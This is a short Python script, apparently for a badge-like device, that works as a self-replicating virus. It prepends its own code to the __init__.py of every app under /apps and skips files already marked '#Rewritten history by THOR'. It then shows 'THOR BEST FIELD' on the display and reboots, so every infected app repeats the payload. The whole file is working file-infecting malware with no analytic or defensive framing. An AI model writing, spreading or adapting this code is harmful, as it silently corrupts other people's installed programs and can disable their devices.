#Rewritten history by THOR
import os
import system

def rewritehis(file):
  try:
    f = open(file+'/__init__.py','r')
    if f.readline().rstrip() == '#Rewritten history by THOR':
      f.close()
      return
    f.close()
    fo = open(file+'/__init__2.py','w')
    print("Opened outputfile\n")
    cf = open("/apps/rewrite_history/__init__.py",'r')
    print("Opened source\n")
    active = True
    for line in cf.readlines():
        if active:
            if "/apps/rewrite_history" in line:
                line = line.replace("/apps/rewrite_history", file)
            fo.write(line)
        if line.rstrip() == '#History rewritten by THOR':
            active = False
    cf.close()
    f = open(file+'/__init__.py','r')
    print("Opened app\n")
    for line in f.readlines():
      if line.rstrip() == '#Rewritten history by THOR':
        f.close()
        fo.close()
        os.remove(file+'/__init__2.py')
        return
      fo.write(line)
    print("Rewritten: " +file)
    f.close()
    fo.close()
    os.remove(file+'/__init__.py')
    os.rename(file+'/__init__2.py',file+'/__init__.py')
  except OSError:
    print("No __init__.py\n")

for direc in os.listdir('/apps'):
  rewritehis('/apps/'+direc)

import rgb
rgb.clear()
rgb.scrolltext("THOR BEST FIELD", (255,255,255))
import time
time.sleep(20)

#History rewritten by THOR
system.reboot()